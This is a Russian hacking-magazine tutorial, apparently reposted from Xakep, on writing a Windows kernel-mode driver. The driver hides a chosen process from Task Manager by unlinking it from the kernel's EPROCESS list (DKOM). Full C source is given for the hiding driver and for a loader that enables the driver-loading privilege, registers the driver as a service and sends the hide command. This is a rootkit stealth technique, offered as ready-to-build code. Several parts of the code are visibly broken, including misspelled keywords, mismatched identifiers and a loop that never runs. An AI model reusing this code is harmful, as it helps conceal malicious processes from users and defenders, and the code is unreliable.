Хакер - Прятки по хардкору. Как сделать свой драйвер режима ядра Windows и скрывать процессы
nopaywall

Содержание статьи

INFO
Процессорные архитектуры x86 и x64 имеют четыре кольца защиты, из которых в Windows по факту используются всего два — это ring 3 (режим пользователя) и ring 0 (режим ядра). Бытует мнение, что код режима ядра — самый привилегированный и «ниже» ничего нет. На самом деле архитектура x86/x64 позволяет опускаться еще ниже: это технология виртуализации (hypervisor mode), которая считается кольцом −1 (ring −1), и режим системного управления (System Management Mode, SMM), считающийся кольцом −2 (ring −2), которому доступна память режима ядра и гипервизора.
Итак, мы решили писать собственный драйвер. Начнем с выбора инструментария. Я советую использовать Microsoft Visual Studio, как наиболее user-friendly IDE. Также необходимо будет установить Windows SDK и Windows Driver Kit (WDK) для твоей версии ОС. Кроме того, я крайне рекомендую запастись такими утилитами, как DebugView (просмотр отладочного вывода), DriverView (позволяет получить список всех установленных драйверов) и KmdManager (удобный загрузчик драйверов).
Драйверы в Windows начиная с Vista могут быть как режима пользователя (User-Mode Driver Framework, UMDF), так и режима ядра (Kernel-Mode Driver Framework, KMDF). Более ранние драйверы Windows Driver Model (WDM) появились в Windows 98 и сейчас считаются устаревшими.
Драйверы UMDF имеют намного более ограниченные права, чем KMDF, однако они используются, например, для управления устройствами, подключенными по USB. Помимо ограничений, у них есть очевидные плюсы: их намного проще отлаживать, а ошибка в их написании не вызовет глобальный системный сбой и синий экран смерти. Такие драйверы имеют расширение dll.
Что до драйверов режима ядра (KMDF), то им дозволено куда больше, а расширение файлов, закрепленное за ними, — это sys. В этой статье мы научимся писать простые драйверы режима ядра, напишем драйвер для скрытия процессов методом DKOM (Direct Kernel Object Manipulation) и его загрузчик.
Зачем специалисту по ИБ может понадобиться написать kernel-mode драйвер?
- Для защиты своей утилиты от действий вредоносов и поиска зловредов, маскирующихся в режиме ядра
- Для противодействия blue pill и другим руткитам, использующим режим аппаратной виртуализации
- Для ускорения антивирусной проверки
Создание драйвера KMDF
После того как ты создашь проект драйвера, Visual Studio автоматически настроит некоторые параметры. Проект будет компилироваться в бинарный файл в соответствии с тем, какая выбрана подсистема. Наш вариант — это NATIVE, подсистема низкого уровня, как раз для того, чтобы писать драйверы.
Точка входа в драйвер
Строго говоря, точка входа в драйвер может быть любой — мы можем сами ее определить, добавив к параметрам компоновки проекта -entry:[DriverEntry], где [DriverEntry] — название функции, которую мы хотим сделать стартовой. Если в обычных приложениях основная функция обычно называется main, то в драйверах точку входа принято называть DriverEntry.
Выглядеть это будет так:
NTSTATUS DriverEntry (PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath);
Давай пройдемся по параметрам, которые передаются DriverEntry. pDriverObject имеет тип PDRIVER_OBJECT, это значит, что это указатель на структуру DRIVER_OBJECT, которая содержит информацию о нашем драйвере. Мы можем менять некоторые поля этой структуры, тем самым меняя свойства драйвера. Второй параметр имеет тип PUNICODE_STRING, который означает указатель на строку типа UNICODE. Она, в свою очередь, указывает, где в системном реестре хранится информация о нашем драйвере.

WARNING
Любая ошибка в драйвере может вызвать общесистемный сбой и BSOD. Вероятна потеря данных и повреждение системы. Все эксперименты я рекомендую проводить в виртуальной машине.
Может ли зловред скрыть свой процесс от KMDF-драйвера?
- Нет, даже если он сам работает в режиме ядра
- Да, если он использует апаратную виртуализацию или SMM
- Да, если зловред был загружен в память до него
Interrupt Request Level (IRQL)
IRQL — это своеобразный «приоритет» для драйверов. Чем выше IRQL, тем меньшее число других драйверов будут прерывать выполнение нашего кода. Существует несколько уровней IRQL: Passive, APC, Dispatch и DIRQL. Если открыть документацию MSDN по функциям WinAPI, то можно увидеть примечания, которые регламентируют уровень IRQL, который требуется для обращения к каждой функции. Чем выше этот уровень, тем меньше WinAPI нам доступно для использования. Первые три уровня IRQL используются для синхронизации программных частей ОС, уровень DIRQL считается аппаратным и самым высоким по сравнению с программными уровнями.
Пакеты запроса ввода-вывода (Input/Output Request Packet)
IRP — это запросы, которые поступают к драйверу. Именно при помощи IRP один драйвер может «попросить» сделать что-то другой драйвер либо получить запрос от программы, которая им управляет. IRP используются диспетчером ввода-вывода ОС. Чтобы научить программу воспринимать наши IRP, мы должны зарегистрировать функцию обратного вызова и настроить на нее массив указателей на функции. Код весьма прост:
for(x = 0; x < IRP_MJ_MAXIMUM_FUNCTION; ++x)
pDriverObject->MajorFunction[x] = MyCallbackFunc;
А вот код функции-заглушки, которая всегда возвращает статусный код STATUS_SUCCESS. В этой функции мы обрабатываем запрос IRP.
NTSTATUS MyCallbackFunk(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
pIrp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return pIrp->IoStatus.Status;
}
Теперь любой запрос к нашему драйверу вызовет функцию-заглушку, которая всегда возвращает STATUS_SUCCESS. Но что, если нам нужно попросить драйвер сделать что-то конкретное, например вызвать определенную функцию? Для этого регистрируем управляющую процедуру:
#define IRP_MY_FUNC 0x801
Здесь мы объявили процедуру с именем IRP_MY_FUNC и ее кодом — 0x801. Чтобы драйвер ее обработал, мы должны настроить на нее ссылку, создав таким образом дополнительную точку входа в драйвер:
// Заполним все коды IRP ссылкой на функцию-заглушку
for(x = 0; x < IRP_MJ_MAXIMUM_FUNCTION; ++x)
pDriverObject->MajorFunction[x] = MyCallbackFunc;
// Настроим вызов функции MyCallbackControl на запрос IRP_MJ_DEVICE_CONTROL
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyCallbackControl;
После этого нам нужно получить указатель на стек IRP, который мы будем обрабатывать. Это делается при помощи функции IoGetCurrentIrpStackLocation, на вход которой подается указатель на пакет. Кроме этого, необходимо будет получить от диспетчера ввода-вывода размеры буферов ввода-вывода, чтобы иметь возможность передавать и получать данные от пользовательского приложения. Шаблонный код каркаса обработчика управляющей процедуры:
// Получаем указатель на стек IRP пакета
PIO_STACK_LOCATION pIrpSt = IoGetCurrentIrpStackLocation(pIrp);
// Получаем размер буфера ввода
ULONG InBufLen = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
// Получаем размер буфера вывода
ULONG OutBufLen = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;
// Получаем код управляющей процедуры
ULONG CtrlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;
NTSTATUS status = STATUS_SUCCESS;
swich(CtrlCode)
{
case IRP_MY_FUNC:
// Здесь код, который будет вызываться управляющей процедурой IRP_MY_FUNC
break;
default:
status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
return status;
Создание устройства драйвера
Чтобы взаимодействовать с драйвером, мы должны создать «объект-устройство драйвера». Для этого используем API-функцию IoCreateDevice. Кроме того, мы создадим символические ссылки на наш драйвер, чтобы он был виден в диспетчере ввода-вывода в директории \Device. Если этого не сделать, то обратиться к объекту-устройству драйвера можно будет только из самого драйвера, но не из внешнего приложения. Вот код, который создает объект-устройство драйвера и символические ссылки на него.
#define NT_DEV_NAME L"\\Device\\drv_dkom"
#define DOS_DEV_NAME L"\\DosDevices\\drv_dkom"
NTSTATUS status = STATUS_SUCCESS;
PDEVICE_OBJECT pDvcObj = NULL;
UNICODE_STRING usDrvName, usDosDvcName;
RtlInitUnicodeString(&usDrvName, NT_DEV_NAME);
RtlInitUnicodeString(&usDosDvcName,DOS_DEV_NAME);
status = IoCreateDevice (pDriverObject, 0,
&UsDrvName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE, &pDvcObj);
if (!NT_SUCCESS(status)) {
return status;
}
status = IoCreateSymbolicLink(&usDosDvcName, &usDrvName);
if (!NT_SUCCESS(status)) {
IoDeleteDevice(pDvcObj);
return status;
}
Итак, мы рассмотрели основные структурные единицы драйвера режима ядра, увидели, как драйвер общается с режимом usermode и как заставить его выполнять определенные команды. Теперь напишем сам драйвер режима ядра.
Скрытие процессов методом DKOM (Direct Kernel Object Manipulation)
Настало время применить полученные знания о драйверах режима ядра на практике для закрепления результата. Сейчас мы напишем драйвер KMDF для скрытия процессов методом прямой манипуляции объектами ядра (DKOM). Как именно мы будем скрывать наши процессы? Информация о процессах хранится в структуре ядра под названием EPROCESS, так что обратимся к ней.

INFO
Структура EPROCESS, блок процесса. В ней содержится много информации о процессе, указатели на несколько структур данных, например PEB, структуру KPROCESS, структуры KTHREAD и ETHREAD. Эта структура заполняется исполнительной системой ОС, находится в системном адресном пространстве (kernelmode), как и все связанные структуры, кроме PEB. Все процессы имеют эту структуру.
Чтобы увидеть EPROCESS самостоятельно, достаточно подключиться ядерным отладчиком WinDbg к ядру ОС и ввести команду dt _EPROCESS. После этого ты увидишь что-то вроде этого (смещения отличаются в разных версиях ядер Windows):
lkd> dt _EPROCESS
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2d8 ProcessLock : _EX_PUSH_LOCK
+0x2e0 RundownProtect : _EX_RUNDOWN_REF
+0x2e8 UniqueProcessId : Ptr64 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY
+0x300 Flags2 : Uint4B
+0x300 JobNotReallyActive : Pos 0, 1 Bit
+0x300 AccountingFolded : Pos 1, 1 Bit
+0x300 NewProcessReported : Pos 2, 1 Bit
+0x300 ExitProcessReported : Pos 3, 1 Bit
+0x300 ReportCommitChanges : Pos 4, 1 Bit
+0x300 LastReportMemory : Pos 5, 1 Bit
+0x300 ForceWakeCharge : Pos 6, 1 Bit
+0x300 CrossSessionCreate : Pos 7, 1 Bit
+0x300 NeedsHandleRundown : Pos 8, 1 Bit
+0x300 RefTraceEnabled : Pos 9, 1 Bit
+0x300 DisableDynamicCode : Pos 10, 1 Bit
+0x300 EmptyJobEvaluated : Pos 11, 1 Bit
...
Разумеется, это не вся структура, она несколько больше. Отладчик показывает смещения полей относительно начала структуры EPROCESS. В ней нас интересуют несколько полей. ActiveProcessLinks — указатель на структуру _LIST_ENTRY, которая, в свою очередь, указывает на процессы после нашего (FLink) и перед (BLink). Чтобы было понятнее, вот прототип _LIST_ENTRY:
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *FLink;
struct _LIST_ENTRY *BLink;
} LIST_ENTRY, *PLIST_ENTRY;
Размеры, типы данных и смещения от начала списка:
lkd> dt _LIST_ENTRY
nt!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY
Как ты мог догадаться, наша задача — удалить процесс из этого списка, чтобы сделать его невидимым. А если точнее, подправить записи BLink и FLink таким образом, чтобы они «пропускали» нужный процесс. Для этого проверим каждый процесс в этом списке на нужный нам PID и, если найдем его, вызовем функцию замены полей BLink и FLink. PID мы также можем получить из структуры EPROCESS, нужное поле называется UniqueProcessID. Для получения блока EPROCESS воспользуемся функцией PsGetCurrentProcess, которая вернет указатель на него.
// Объявим нужные смещения, актуальны для Windows 10 x64
#define UniqueProcessId 0x2e8
#define ActiveProcessLinks 0x2f0
#define ImageFileName 0x450
#define IRP_HIDE_PROC 0x801
#define NT_DEV_NAME L"\\Device\\drv_dkom"
#define DOS_DEV_NAME L"\\DosDevices\\drv_dkom"
NTSTATUS DriverEntry (PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath)
{
// Создадим устройство драйвера и настроим символические ссылки
NTSTATUS status = STATUS_SUCCESS;
PDEVICE_OBJECT pDvcObj = NULL;
UNICODE_STRING usDrvName, usDosDvcName;
RtlInitUnicodeString(&usDrvName, NT_DEV_NAME);
RtlInitUnicodeString(&usDosDvcName, DOS_DEV_NAME);
status = IoCreateDevice(pDriverObject, 0,
&usDrvName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE, &pDvcObj);
if (!NT_SUCCESS(status)) {
return status;
}
status = IoCreateSymbolicLink(&usDosDvcName, &usDrvName);
if (!NT_SUCCESS(status)) {
IoDeleteDevice(pDvcObj);
return status;
}
// Настроим IRP на функцию-заглушку, нашу основную рабочую функцию и функцию выгрузки драйвера
// Заполним все коды IRP ссылкой на функцию-заглушку
int x;
for (x = 0; x < IRP_MJ_MAXIMUM_FUNCTION; ++x)
pDriverObject->MajorFunction[x] = MyCallbackFunk;
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyControlHide; // Настроили вызов функции MyCallbackControl на запрос IRP_MJ_DEVICE_CONTROL
pDriverObject->DriverUnload = DrvUnload;
return status;
}
VOID DrvUnload(PDRIVER_OBJECT pDriverObject) {
// Выгрузка: удаляем символические ссылки и устройство
IoDeleteSymbolicLink(&usDosDvcName);
IoDeleteDevice(pDriverObject->DeviceObject);
}
NTSTATUS MyCallbackFunk(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
pIrp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return pIrp->IoStatus.Status;
}
NTSTATUS MyControlHide(PDEVICE_OBJECT pdevObj, PIRP pIrp)
{
// Получаем указатель на стек IRP пакета
PIO_STACK_LOCATION pIrpSt = IoGetCurrentIrpStackLocation(pIrp);
// Получаем размер буфера ввода
ULONG InBufLen = pIrpSt->Parameters.DeviceIoControl.InputBufferLength;
// Получаем размер буфера вывода
ULONG OutBufLen = pIrpSt->Parameters.DeviceIoControl.OutputBufferLength;
// Получаем код управляющей процедуры
ULONG CtrlCode = pIrpSt->Parameters.DeviceIoControl.IoControlCode;
NTSTATUS status = STATUS_SUCCESS;
switch(CtrlCode){
case IRP_HIDE_PROC:
InBufLen = pIrp->AssociatedIrp.SystemBuffer;
pIrp->IoStatus.Information = strlen(InBufLen);
hide_proc(InBufLen);
break;
default:
status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
return status;
}
VOID hide_proc(char *pc)
{
// Модифицируем поля FLink и BLink
PEPROCESS currentProc = (PEPROCESS)PsGetCurrentProcess();
PEPROCESS startProc = (PEPROCESS)PsGetCurrentProcess();
PLIST_ENTRY activeProcLinks;
PUCHAR pImageFileName;
PUINT32 pPidProc;
for (; ((DWORD64)startProc != (DWORD64)currentProc);)
{
pImageFileName = (PUCHAR)((DWORD64)currentProc + ImageFileName);
pPidProc = (PUINT32)((DWORD64)currentProc + UniqueProcessId);
activeProcLinks = (PLIST_ENTRY)((DWORD64)currentProc + ActiveProcessLinks);
startProc = (PEPROCESS)((DWORD64)activeProcLinks->Flink - ActiveProcessLinks);
if (!strcmp((const char*)pImageFileName, TEXT(pc))) {
*((PDWORD64)activeProcLinks->Blink) = (DWORD64)activeProcLinks->Flink;
*((PDWORD64)(activeProcLinks->Flink) + 1) = (DWORD64)activeProcLinks->Blink;
activeProcLinks->Blink = (PLIST_ENTRY)&activeProcLinks->Flink;
activeProcLinks->Flink = (PLIST_ENTRY)&activeProcLinks->Flink;
}
}
}
Самое интересное происходит в функции hide_proc, точнее в ее цикле: мы обходим двусвязный список и модифицируем поля FLink и BLink. С этого момента целевой процесс будет скрыт. Теперь перейдем к не менее важному вопросу — созданию управляющей программы для нашего драйвера. Она должна загружать драйвер и отправлять ему команды.
Загрузчик драйверов
Загрузить драйвер в ядро можно несколькими способами, самые популярные из них — это загрузка при помощи SCM (Service Control Manager) и при помощи NTAPI-функции NtLoadDriver. Мы выберем первый вариант, как рекомендованный Microsoft и избавляющий нас от многих излишних манипуляций: основную работу за нас сделает именно Service Control Manager. Но для начала зададим нужные привилегии:
BOOL setPrivileges(LPCTSTR szPrivName)
{
TOKEN_PRIVILEGES tp = { 0 };
HANDLE hToken = 0;
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
std::cout << "OpenProcessToken failed\n";
if (!LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid))
std::cout << "LookupPrivilegeValue failed\n";
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
{
std::cout << "AdjustTokenPrivileges failed\n";
CloseHandle(hToken);
return TRUE;
}
return FALSE;
}
Вызов функции:
setPrivileges("SeLoadDriverPrivilege");
После этого регистрируем драйвер в системе (проверки на успешность вызовов умышленно опускаю для лучшей читаемости кода):
// Путь к нашему драйверу
#define DRV "c:\\\\Windows\\System32\\drivers\\dkomdrv.sys"
// Имя сервиса
#define SRV "dkomdrv"
// Имя устройства
#define DVC "\\\\.\\dkomdrv"
// Код, говорящий драйверу скрыть процесс
#define IRP_HIDE_PROC 0x801
SC_HANDLE hSCMgr,hSrv;
HANDLE hDvc;
// Открываем SCM
hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
// Создаем сервис
hSrv = CreateService(
hSCManager,
TEXT(SRV),
TEXT(SRV),
SC_MANAGER_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
TEXT(DRV),
NULL, NULL, NULL, NULL, NULL
);
// Запускаем сервис
StartService(hSrv, 0, NULL);
Итак, драйвер установлен и запущен. Теперь самое важное: мы должны послать драйверу управляющий код, который заставит его скрыть нужный нам процесс (он задается переменной pid):
hDvc = CreateFile(
TEXT(DEVICE),
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
BOOLEAN total = DeviceIoControl(
hDevice,
IRP_HIDE_PROC, // Наш управляющий код
pid,
strlen(pid) + 1,
retbuf,
200,
&bytes_returned,
(LPOVERLAPPED) NULL
);
После этого нужно закрыть все открытые хендлы, плюс можно добавить проверки успешности вызовов функций, но я решил это все убрать, чтобы ты видел четкую последовательность действий для загрузки и управления драйвером, не отвлекаясь ни на что. После выполнения этого кода нужный процесс исчезнет из диспетчера задач и из большинства приложений, которые работают с процессами.
Ты уже писал драйверы Windows?
- Да, но только user-mode
- Да, и режима ядра тоже
- Нет, мне это не нужно
- Нет, но теперь попробую!
Итоги
Мы ознакомились с основными понятиями, которые нужно знать о драйверах режима ядра, и создали собственный драйвер, скрывающий процессы методом DKOM. Разумеется, это только самое начало пути в изучении драйверов, но в одной статье уместить все невозможно — по этой теме пишутся целые книги. Но чтобы начать собственные эксперименты, этого хватит. Как видишь, писать свои драйверы не так сложно, как могло показаться!
Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall